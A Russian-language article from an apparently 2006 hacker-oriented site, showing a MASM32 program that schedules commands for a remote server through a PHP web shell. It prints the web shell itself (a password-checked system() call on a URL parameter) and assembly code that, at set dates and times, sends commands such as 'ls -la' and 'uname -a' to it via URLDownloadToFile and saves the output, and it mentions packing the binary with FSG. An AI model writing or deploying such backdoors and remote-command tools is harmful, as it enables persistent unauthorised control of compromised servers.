Подписка
Е-Mail:
Подписаться
Отказаться





 
Кодинг          [ Безопасность ]


Версия для печати
Автор: Roneon
Отправить статью по e-mail Дата: 14.06.2006 ©
Планировщик задач сервера через веб-шелл

Крон и винда, ассемблер и php, вебшелл и планирование задач... Какая между всем этим связь? Первое, что приходит в голову - это пхп-скрипт, запускаемый на локалхосте планировщиком задач windows, взаимодействующий через WinAPI посредством DDE с асмовой программой, которая через web shell управляет cron'ом на удалённом сервере. Но на самом деле это не так, сегодня мы будем извращаться немного иначе. =)

По порядку: cron (фактом своего существования ;) ) натолкнул меня на мысль написать планировщик задач удалённого сервера через веб шелл, и написать его под винду. Потом промелькнула мысль, что это можно встраивать в различные программы, так что написать было решено только каркас, чем я и занимался прямо перед написанием статьи.

Ну а теперь к делу. =) Имеем мы вебшелл (или несколько), masm32, винду. Приступаем к кодингу вышеописанной программы, но сперва покажу листинг вебшелла, используемого в примере.

<?
if($_GET['p']=="just4article")
system($_GET['c']);
?>


Шелл, как видно, простой, а листинг приведён чтобы никого не смущала переменная p. :)

Итак, приступаем к exe-составляющей. Входные данные в примере приниматься не будут, сохранения и т.п. тоже нет, т.к. это всего лишь пример, но структура в принципе показана полностью.

Далее следует код с комментариями.

.386
.model flat, stdcall
option casemap :none ; case sensitive

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\winmm.inc
include \masm32\include\masm32.inc
include \masm32\include\urlmon.inc

include \masm32\macros\macros.asm ;
нужно в ходе тестов, в процессе кодинга :)

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\winmm.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\urlmon.lib

;
нужные инклуды

.data
webshellcmd db "http://someserver.org/shell.php?p=just4test&c=ls%20-la",0 ;
команда нашему вебшеллу
anothercmd db "http://someserver.org/shell.php?p=just4test&c=uname%20-a",0 ;
другая команда, для второй задачи
fileforansw db "answer.txt",0 ;
файл, в который будем писать ответ сервера

.code

start:


JustDoIt proc

local stm:SYSTEMTIME
local szYear:DWORD
local szMonth:DWORD
local szDayOfWeek:DWORD
local szDay:DWORD
local szHour:DWORD
local szMinute:DWORD
local szwSecond:DWORD
local szMilliseconds:DWORD
local szDayaddr:DWORD

;
определили locals
;
здесь я перечислил всю структуру SYSTEMTIME, а использовать сейчас будем
;
только wDay, wHour и wMinute (w в структуре у нас переходит в sz в local)

@startthis: ;
начинаем цикл - будем проверять время каждые 10 секунд

invoke GetLocalTime,addr stm ;
получаем время, оно у нас в структуре SYSTEMTIME

;movzx eax,stm.wDay
;mov szDayaddr,ustr$(eax) ;
<-- вот так можно добывать адрес переменной, скорее всего пригодится

movzx eax,stm.wDay ;
переносим в eax время из переменной, число в данном случае
mov szDay,eax ;
переносим из eax'a в szDay
movzx eax,stm.wHour ;
и т.д.
mov szHour,eax
movzx eax,stm.wMinute
mov szMinute,eax

.if szDay==22 && szHour==4 && szMinute==26 ;
смотрим время

invoke URLDownloadToFile,0,offset webshellcmd,offset fileforansw,0,0 ; о как :)
;
вебшелл юзаем через URLDownloadToFile, дешево и сердито ;)

jmp @done1 ;
выполнили задачу переходим к следующей

.endif ;

push 10000 ;
10 секунд ждём
call Sleep

jmp @startthis ;
если мы дошли до этого, значит задача не выполнена - время ещё не подошло
;
так что идём к началу цикла и смотрим время снова

@done1: ;
а если задача №1 выполнена...

invoke GetLocalTime,addr stm ;
опять добываем время

movzx eax,stm.wDay ;
снова выдираем отсюда нужное нам
mov szDay,eax
movzx eax,stm.wHour
mov szHour,eax


.if szDay==22 && szHour==5 ;
здесь уже выполняется задача 22го числа в 5 часов

invoke URLDownloadToFile,0,offset anothercmd,offset fileforansw,0,0

jmp @done2 ;
сделали? идём дальше :)

.endif

push 10000
call Sleep

@done2: ;
ну в данном примере это уже конец =) все задачи выполнены ;)

push 0
call ExitProcess ;
выход ;)

JustDoIt endp

end start


Вот такая небольшая программка весом 1536 байт; сжимаем FSG - 949 байт. =)

А далее можно сделать вечный цикл, базу с числами/временем/командами и т.д., некое подобие крона. =)

Спешл пасиба AZ4ZeL за устранение моих начных глюков в процессе кодинга. =)





 
Найти: 





Новинки

Голосование


Яндекс цитирования